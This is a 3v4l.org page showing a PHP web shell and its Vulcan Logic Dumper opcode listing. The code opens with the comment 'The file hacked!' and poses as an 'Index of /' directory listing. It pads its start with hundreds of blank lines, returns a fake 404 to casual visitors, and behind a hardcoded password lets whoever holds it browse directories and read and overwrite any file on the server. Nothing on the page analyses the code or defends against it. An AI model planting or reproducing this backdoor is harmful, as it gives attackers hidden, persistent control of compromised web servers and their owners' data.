3v4l.org

run code in 300+ PHP versions simultaneously
<?php //The file hacked! ?> <html> <title>Index of /</title> <?php session_start(); define('PASSWORD', 'MosheBenLulu'); header('Content-Type: text/html; charset=utf-8'); if($_GET['page'] == 'get') { if(isset($_SESSION['utf8-52']) && $_SESSION['utf8-52'] == 'indexed') { ?> <form method="post"> <h1>Index of /<?php echo $_GET['dir']; ?><a href="?page=logout" style="color:white;">LOGOUT</a></h1> <ul> <?php if(!isset($_GET['dir'])) { $handle = opendir('.'); $dir = ""; } else { $handle = opendir($_GET['dir']); $dir = $_GET['dir'].'/'; $dd = explode("/", $dir); $dc = 0; $bb = ""; while($dc < count($dd)-2) { if($bb == "") { $bb = $dd[$dc]; } else { $bb = $bb.'/'.$dd[$dc]; } $dc++; } if($bb == "") { echo "<li><a href='?page=get'>Parent Directory</a></li>"; } else { echo "<li><a href='?page=get&dir={$bb}'>Parent Directory</a></li>"; } } while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $bl = $dir.$entry; if(is_dir($bl)) { echo "<li><a href='?page=get&dir={$dir}{$entry}'>$entry</a></li>"; } else { echo "<li><a href='?page=set&file={$dir}{$entry}'>$entry</a></li>"; } } } closedir($handle); ?> <ul> </form> <?php } else { ?> <form method="post"> <input type="password" name="password" /> <input type="submit" name="submit" /> </form> <?php if(isset($_POST['submit'])) { $password = $_POST['password']; if($password == PASSWORD) { $_SESSION['utf8-52'] = 'indexed'; echo '<script>top.location="";</script>'; } } } } elseif($_GET['page'] == 'set') { $filename = $_GET['file']; ?> <form method="post"> <textarea name="text" rows="50" cols="100"><?php $handle = fopen($filename, "r+"); if(filesize($filename) == 0) { $contents = fread($handle, 1); } else { $contents = fread($handle, filesize($filename)); } echo($contents); ?></textarea><br /> <input type="submit" name="sub1" value="Save" /> <input type="submit" name="sub2" value="Cancel" /> </form> <?php } elseif($_GET['page'] == 'logout') { $_SESSION['utf8-52'] = ""; echo '<script>alert("Logout!");top.location="?";</script>'; } else { header("HTTP/1.1 404 Not Found"); } if(isset($_POST['sub1'])) { $file_handle = fopen($filename, 'w'); fwrite($file_handle, $_POST['text']); fclose($file_handle); echo '<script>alert("Edited!");top.location="?page=get";</script>'; } if(isset($_POST['sub2'])) { $dd = explode("/", $filename); $dc = 0; $bb = ""; while($dc < count($dd)-1) { if($bb == "") { $bb = $dd[$dc]; } else { $bb = $bb.'/'.$dd[$dc]; } $dc++; } if($bb == "") { echo '<script>top.location="?page=get";</script>'; } else { echo '<script>top.location="?page=get&dir='.$bb.'";</script>'; } } ?> </html>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 14, Position 2 = 130
Branch analysis from position: 14
2 jumps found. (Code = 46) Position 1 = 17, Position 2 = 21
Branch analysis from position: 17
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 115
Branch analysis from position: 22
2 jumps found. (Code = 43) Position 1 = 31, Position 2 = 37
Branch analysis from position: 31
1 jumps found. (Code = 42) Position 1 = 77
Branch analysis from position: 77
1 jumps found. (Code = 42) Position 1 = 104
Branch analysis from position: 104
2 jumps found. (Code = 44) Position 1 = 110, Position 2 = 78
Branch analysis from position: 110
1 jumps found. (Code = 42) Position 1 = 129
Branch analysis from position: 129
1 jumps found. (Code = 42) Position 1 = 177
Branch analysis from position: 177
2 jumps found. (Code = 43) Position 1 = 180, Position 2 = 195
Branch analysis from position: 180
2 jumps found. (Code = 43) Position 1 = 198, Position 2 = 227
Branch analysis from position: 198
1 jumps found. (Code = 42) Position 1 = 216
Branch analysis from position: 216
2 jumps found. (Code = 44) Position 1 = 220, Position 2 = 206
Branch analysis from position: 220
2 jumps found. (Code = 43) Position 1 = 222, Position 2 = 224
Branch analysis from position: 222
1 jumps found. (Code = 42) Position 1 = 227
Branch analysis from position: 227
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 224
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 206
2 jumps found. (Code = 43) Position 1 = 208, Position 2 = 211
Branch analysis from position: 208
1 jumps found. (Code = 42) Position 1 = 215
Branch analysis from position: 215
2 jumps found. (Code = 44) Position 1 = 220, Position 2 = 206
Branch analysis from position: 220
Branch analysis from position: 206
Branch analysis from position: 211
2 jumps found. (Code = 44) Position 1 = 220, Position 2 = 206
Branch analysis from position: 220
Branch analysis from position: 206
Branch analysis from position: 227
Branch analysis from position: 195
Branch analysis from position: 78
2 jumps found. (Code = 46) Position 1 = 80, Position 2 = 82
Branch analysis from position: 80
2 jumps found. (Code = 43) Position 1 = 83, Position 2 = 104
Branch analysis from position: 83
2 jumps found. (Code = 43) Position 1 = 89, Position 2 = 97
Branch analysis from position: 89
1 jumps found. (Code = 42) Position 1 = 104
Branch analysis from position: 104
Branch analysis from position: 97
2 jumps found. (Code = 44) Position 1 = 110, Position 2 = 78
Branch analysis from position: 110
Branch analysis from position: 78
Branch analysis from position: 104
Branch analysis from position: 82
Branch analysis from position: 37
1 jumps found. (Code = 42) Position 1 = 65
Branch analysis from position: 65
2 jumps found. (Code = 44) Position 1 = 69, Position 2 = 55
Branch analysis from position: 69
2 jumps found. (Code = 43) Position 1 = 71, Position 2 = 73
Branch analysis from position: 71
1 jumps found. (Code = 42) Position 1 = 77
Branch analysis from position: 77
Branch analysis from position: 73
1 jumps found. (Code = 42) Position 1 = 104
Branch analysis from position: 104
Branch analysis from position: 55
2 jumps found. (Code = 43) Position 1 = 57, Position 2 = 60
Branch analysis from position: 57
1 jumps found. (Code = 42) Position 1 = 64
Branch analysis from position: 64
2 jumps found. (Code = 44) Position 1 = 69, Position 2 = 55
Branch analysis from position: 69
Branch analysis from position: 55
Branch analysis from position: 60
2 jumps found. (Code = 44) Position 1 = 69, Position 2 = 55
Branch analysis from position: 69
Branch analysis from position: 55
Branch analysis from position: 115
2 jumps found. (Code = 43) Position 1 = 119, Position 2 = 129
Branch analysis from position: 119
2 jumps found. (Code = 43) Position 1 = 125, Position 2 = 129
Branch analysis from position: 125
1 jumps found. (Code = 42) Position 1 = 177
Branch analysis from position: 177
Branch analysis from position: 129
Branch analysis from position: 129
Branch analysis from position: 21
Branch analysis from position: 130
2 jumps found. (Code = 43) Position 1 = 134, Position 2 = 165
Branch analysis from position: 134
2 jumps found. (Code = 43) Position 1 = 148, Position 2 = 154
Branch analysis from position: 148
1 jumps found. (Code = 42) Position 1 = 162
Branch analysis from position: 162
1 jumps found. (Code = 42) Position 1 = 177
Branch analysis from position: 177
Branch analysis from position: 154
1 jumps found. (Code = 42) Position 1 = 177
Branch analysis from position: 177
Branch analysis from position: 165
2 jumps found. (Code = 43) Position 1 = 169, Position 2 = 174
Branch analysis from position: 169
1 jumps found. (Code = 42) Position 1 = 177
Branch analysis from position: 177
Branch analysis from position: 174
2 jumps found. (Code = 43) Position 1 = 180, Position 2 = 195
Branch analysis from position: 180
Branch analysis from position: 195
filename:       /in/pQMUD
function name:  (null)
number of ops:  229
compiled vars:  !0 = $handle, !1 = $dir, !2 = $dd, !3 = $dc, !4 = $bb, !5 = $entry, !6 = $bl, !7 = $password, !8 = $filename, !9 = $contents, !10 = $file_handle
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ECHO                                                     '%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%3Chtml%3E%0A%09%3Ctitle%3EIndex+of+%2F%3C%2Ftitle%3E%0A%09'
  275     1        INIT_FCALL                                               'session_start'
          2        DO_ICALL                                                 
  276     3        INIT_FCALL                                               'define'
          4        SEND_VAL                                                 'PASSWORD'
          5        SEND_VAL                                                 'MosheBenLulu'
          6        DO_ICALL                                                 
  277     7        INIT_FCALL                                               'header'
          8        SEND_VAL                                                 'Content-Type%3A+text%2Fhtml%3B+charset%3Dutf-8'
          9        DO_ICALL                                                 
  278    10        FETCH_R                      global              ~14     '_GET'
         11        FETCH_DIM_R                                      ~15     ~14, 'page'
         12        IS_EQUAL                                                 ~15, 'get'
         13      > JMPZ                                                     ~16, ->130
  280    14    >   FETCH_IS                                         ~17     '_SESSION'
         15        ISSET_ISEMPTY_DIM_OBJ                         0  ~18     ~17, 'utf8-52'
         16      > JMPZ_EX                                          ~18     ~18, ->21
         17    >   FETCH_R                      global              ~19     '_SESSION'
         18        FETCH_DIM_R                                      ~20     ~19, 'utf8-52'
         19        IS_EQUAL                                         ~21     ~20, 'indexed'
         20        BOOL                                             ~18     ~21
         21    > > JMPZ                                                     ~18, ->115
  283    22    >   ECHO                                                     '%09%09%3Cform+method%3D%22post%22%3E%0A%09%09%09%3Ch1%3EIndex+of+%2F'
  284    23        FETCH_R                      global              ~22     '_GET'
         24        FETCH_DIM_R                                      ~23     ~22, 'dir'
         25        ECHO                                                     ~23
         26        ECHO                                                     '%3Ca+href%3D%22%3Fpage%3Dlogout%22+style%3D%22color%3Awhite%3B%22%3ELOGOUT%3C%2Fa%3E%3C%2Fh1%3E%0A%09%09%09%3Cul%3E%0A%09%09%09%09'
  287    27        FETCH_IS                                         ~24     '_GET'
         28        ISSET_ISEMPTY_DIM_OBJ                         0  ~25     ~24, 'dir'
         29        BOOL_NOT                                         ~26     ~25
         30      > JMPZ                                                     ~26, ->37
  289    31    >   INIT_FCALL                                               'opendir'
         32        SEND_VAL                                                 '.'
         33        DO_ICALL                                         $27     
         34        ASSIGN                                                   !0, $27
  290    35        ASSIGN                                                   !1, ''
         36      > JMP                                                      ->77
  294    37    >   INIT_FCALL                                               'opendir'
         38        FETCH_R                      global              ~30     '_GET'
         39        FETCH_DIM_R                                      ~31     ~30, 'dir'
         40        SEND_VAL                                                 ~31
         41        DO_ICALL                                         $32     
         42        ASSIGN                                                   !0, $32
  295    43        FETCH_R                      global              ~34     '_GET'
         44        FETCH_DIM_R                                      ~35     ~34, 'dir'
         45        CONCAT                                           ~36     ~35, '%2F'
         46        ASSIGN                                                   !1, ~36
  296    47        INIT_FCALL                                               'explode'
         48        SEND_VAL                                                 '%2F'
         49        SEND_VAR                                                 !1
         50        DO_ICALL                                         $38     
         51        ASSIGN                                                   !2, $38
  297    52        ASSIGN                                                   !3, 0
  298    53        ASSIGN                                                   !4, ''
  299    54      > JMP                                                      ->65
  301    55    >   IS_EQUAL                                                 !4, ''
         56      > JMPZ                                                     ~42, ->60
  303    57    >   FETCH_DIM_R                                      ~43     !2, !3
         58        ASSIGN                                                   !4, ~43
         59      > JMP                                                      ->64
  307    60    >   CONCAT                                           ~45     !4, '%2F'
         61        FETCH_DIM_R                                      ~46     !2, !3
         62        CONCAT                                           ~47     ~45, ~46
         63        ASSIGN                                                   !4, ~47
  309    64    >   PRE_INC                                                  !3
  299    65    >   COUNT                                            ~50     !2
         66        SUB                                              ~51     ~50, 2
         67        IS_SMALLER                                               !3, ~51
         68      > JMPNZ                                                    ~52, ->55
  311    69    >   IS_EQUAL                                                 !4, ''
         70      > JMPZ                                                     ~53, ->73
  313    71    >   ECHO                                                     '%3Cli%3E%3Ca+href%3D%27%3Fpage%3Dget%27%3EParent+Directory%3C%2Fa%3E%3C%2Fli%3E'
         72      > JMP                                                      ->77
  317    73    >   ROPE_INIT                                     3  ~55     '%3Cli%3E%3Ca+href%3D%27%3Fpage%3Dget%26dir%3D'
         74        ROPE_ADD                                      1  ~55     ~55, !4
         75        ROPE_END                                      2  ~54     ~55, '%27%3EParent+Directory%3C%2Fa%3E%3C%2Fli%3E'
         76        ECHO                                                     ~54
  320    77    > > JMP                                                      ->104
  321    78    >   IS_NOT_EQUAL                                     ~57     !5, '.'
         79      > JMPZ_EX                                          ~57     ~57, ->82
         80    >   IS_NOT_EQUAL                                     ~58     !5, '..'
         81        BOOL                                             ~57     ~58
         82    > > JMPZ                                                     ~57, ->104
  322    83    >   CONCAT                                           ~59     !1, !5
         84        ASSIGN                                                   !6, ~59
  323    85        INIT_FCALL                                               'is_dir'
         86        SEND_VAR                                                 !6
         87        DO_ICALL                                         $61     
         88      > JMPZ                                                     $61, ->97
  325    89    >   ROPE_INIT                                     6  ~63     '%3Cli%3E%3Ca+href%3D%27%3Fpage%3Dget%26dir%3D'
         90        ROPE_ADD                                      1  ~63     ~63, !1
         91        ROPE_ADD                                      2  ~63     ~63, !5
         92        ROPE_ADD                                      3  ~63     ~63, '%27%3E'
         93        ROPE_ADD                                      4  ~63     ~63, !5
         94        ROPE_END                                      5  ~62     ~63, '%3C%2Fa%3E%3C%2Fli%3E'
         95        ECHO                                                     ~62
         96      > JMP                                                      ->104
  329    97    >   ROPE_INIT                                     6  ~67     '%3Cli%3E%3Ca+href%3D%27%3Fpage%3Dset%26file%3D'
         98        ROPE_ADD                                      1  ~67     ~67, !1
         99        ROPE_ADD                                      2  ~67     ~67, !5
        100        ROPE_ADD                                      3  ~67     ~67, '%27%3E'
        101        ROPE_ADD                                      4  ~67     ~67, !5
        102        ROPE_END                                      5  ~66     ~67, '%3C%2Fa%3E%3C%2Fli%3E'
        103        ECHO                                                     ~66
  320   104    >   INIT_FCALL                                               'readdir'
        105        SEND_VAR                                                 !0
        106        DO_ICALL                                         $70     
        107        ASSIGN                                           ~71     !5, $70
        108        TYPE_CHECK                                  1018          ~71
        109      > JMPNZ                                                    ~72, ->78
  333   110    >   INIT_FCALL                                               'closedir'
        111        SEND_VAR                                                 !0
        112        DO_ICALL                                                 
  335   113        ECHO                                                     '%09%09%09%3Cul%3E%0A%09%09%3C%2Fform%3E%0A%09'
        114      > JMP                                                      ->129
  342   115    >   ECHO                                                     '%09%09%3Cform+method%3D%22post%22%3E%0A%09%09%09%3Cinput+type%3D%22password%22+name%3D%22password%22+%2F%3E%0A%09%09%09%3Cinput+type%3D%22submit%22+name%3D%22submit%22+%2F%3E%0A%09%09%3C%2Fform%3E%0A%09'
  347   116        FETCH_IS                                         ~74     '_POST'
        117        ISSET_ISEMPTY_DIM_OBJ                         0          ~74, 'submit'
        118      > JMPZ                                                     ~75, ->129
  349   119    >   FETCH_R                      global              ~76     '_POST'
        120        FETCH_DIM_R                                      ~77     ~76, 'password'
        121        ASSIGN                                                   !7, ~77
  350   122        FETCH_CONSTANT                                   ~79     'PASSWORD'
        123        IS_EQUAL                                                 !7, ~79
        124      > JMPZ                                                     ~80, ->129
  352   125    >   FETCH_W                      global              $81     '_SESSION'
        126        ASSIGN_DIM                                               $81, 'utf8-52'
        127        OP_DATA                                                  'indexed'
  353   128        ECHO                                                     '%3Cscript%3Etop.location%3D%22%22%3B%3C%2Fscript%3E'
        129    > > JMP                                                      ->177
  358   130    >   FETCH_R                      global              ~83     '_GET'
        131        FETCH_DIM_R                                      ~84     ~83, 'page'
        132        IS_EQUAL                                                 ~84, 'set'
        133      > JMPZ                                                     ~85, ->165
  360   134    >   FETCH_R                      global              ~86     '_GET'
        135        FETCH_DIM_R                                      ~87     ~86, 'file'
        136        ASSIGN                                                   !8, ~87
  362   137        ECHO                                                     '%09%09%3Cform+method%3D%22post%22%3E%0A%09%09%09%3Ctextarea+name%3D%22text%22+rows%3D%2250%22+cols%3D%22100%22%3E'
  364   138        INIT_FCALL                                               'fopen'
        139        SEND_VAR                                                 !8
        140        SEND_VAL                                                 'r%2B'
        141        DO_ICALL                                         $89     
        142        ASSIGN                                                   !0, $89
  365   143        INIT_FCALL                                               'filesize'
        144        SEND_VAR                                                 !8
        145        DO_ICALL                                         $91     
        146        IS_EQUAL                                                 $91, 0
        147      > JMPZ                                                     ~92, ->154
  367   148    >   INIT_FCALL                                               'fread'
        149        SEND_VAR                                                 !0
        150        SEND_VAL                                                 1
        151        DO_ICALL                                         $93     
        152        ASSIGN                                                   !9, $93
        153      > JMP                                                      ->162
  371   154    >   INIT_FCALL                                               'fread'
        155        SEND_VAR                                                 !0
        156        INIT_FCALL                                               'filesize'
        157        SEND_VAR                                                 !8
        158        DO_ICALL                                         $95     
        159        SEND_VAR                                                 $95
        160        DO_ICALL                                         $96     
        161        ASSIGN                                                   !9, $96
  373   162    >   ECHO                                                     !9
  374   163        ECHO                                                     '%3C%2Ftextarea%3E%3Cbr+%2F%3E%0A%09%09%09%3Cinput+type%3D%22submit%22+name%3D%22sub1%22+value%3D%22Save%22+%2F%3E%0A%09%09%09%3Cinput+type%3D%22submit%22+name%3D%22sub2%22+value%3D%22Cancel%22+%2F%3E%0A%09%09%3C%2Fform%3E%0A%09'
        164      > JMP                                                      ->177
  380   165    >   FETCH_R                      global              ~98     '_GET'
        166        FETCH_DIM_R                                      ~99     ~98, 'page'
        167        IS_EQUAL                                                 ~99, 'logout'
        168      > JMPZ                                                     ~100, ->174
  382   169    >   FETCH_W                      global              $101    '_SESSION'
        170        ASSIGN_DIM                                               $101, 'utf8-52'
        171        OP_DATA                                                  ''
  383   172        ECHO                                                     '%3Cscript%3Ealert%28%22Logout%21%22%29%3Btop.location%3D%22%3F%22%3B%3C%2Fscript%3E'
        173      > JMP                                                      ->177
  387   174    >   INIT_FCALL                                               'header'
        175        SEND_VAL                                                 'HTTP%2F1.1+404+Not+Found'
        176        DO_ICALL                                                 
  389   177    >   FETCH_IS                                         ~104    '_POST'
        178        ISSET_ISEMPTY_DIM_OBJ                         0          ~104, 'sub1'
        179      > JMPZ                                                     ~105, ->195
  391   180    >   INIT_FCALL                                               'fopen'
        181        SEND_VAR                                                 !8
        182        SEND_VAL                                                 'w'
        183        DO_ICALL                                         $106    
        184        ASSIGN                                                   !10, $106
  392   185        INIT_FCALL                                               'fwrite'
        186        SEND_VAR                                                 !10
        187        FETCH_R                      global              ~108    '_POST'
        188        FETCH_DIM_R                                      ~109    ~108, 'text'
        189        SEND_VAL                                                 ~109
        190        DO_ICALL                                                 
  393   191        INIT_FCALL                                               'fclose'
        192        SEND_VAR                                                 !10
        193        DO_ICALL                                                 
  394   194        ECHO                                                     '%3Cscript%3Ealert%28%22Edited%21%22%29%3Btop.location%3D%22%3Fpage%3Dget%22%3B%3C%2Fscript%3E'
  396   195    >   FETCH_IS                                         ~112    '_POST'
        196        ISSET_ISEMPTY_DIM_OBJ                         0          ~112, 'sub2'
        197      > JMPZ                                                     ~113, ->227
  398   198    >   INIT_FCALL                                               'explode'
        199        SEND_VAL                                                 '%2F'
        200        SEND_VAR                                                 !8
        201        DO_ICALL                                         $114    
        202        ASSIGN                                                   !2, $114
  399   203        ASSIGN                                                   !3, 0
  400   204        ASSIGN                                                   !4, ''
  401   205      > JMP                                                      ->216
  403   206    >   IS_EQUAL                                                 !4, ''
        207      > JMPZ                                                     ~118, ->211
  405   208    >   FETCH_DIM_R                                      ~119    !2, !3
        209        ASSIGN                                                   !4, ~119
        210      > JMP                                                      ->215
  409   211    >   CONCAT                                           ~121    !4, '%2F'
        212        FETCH_DIM_R                                      ~122    !2, !3
        213        CONCAT                                           ~123    ~121, ~122
        214        ASSIGN                                                   !4, ~123
  411   215    >   PRE_INC                                                  !3
  401   216    >   COUNT                                            ~126    !2
        217        SUB                                              ~127    ~126, 1
        218        IS_SMALLER                                               !3, ~127
        219      > JMPNZ                                                    ~128, ->206
  413   220    >   IS_EQUAL                                                 !4, ''
        221      > JMPZ                                                     ~129, ->224
  415   222    >   ECHO                                                     '%3Cscript%3Etop.location%3D%22%3Fpage%3Dget%22%3B%3C%2Fscript%3E'
        223      > JMP                                                      ->227
  419   224    >   CONCAT                                           ~130    '%3Cscript%3Etop.location%3D%22%3Fpage%3Dget%26dir%3D', !4
        225        CONCAT                                           ~131    ~130, '%22%3B%3C%2Fscript%3E'
        226        ECHO                                                     ~131
  423   227    >   ECHO                                                     '%3C%2Fhtml%3E'
        228      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
278.16 ms | 1420 KiB | 40 Q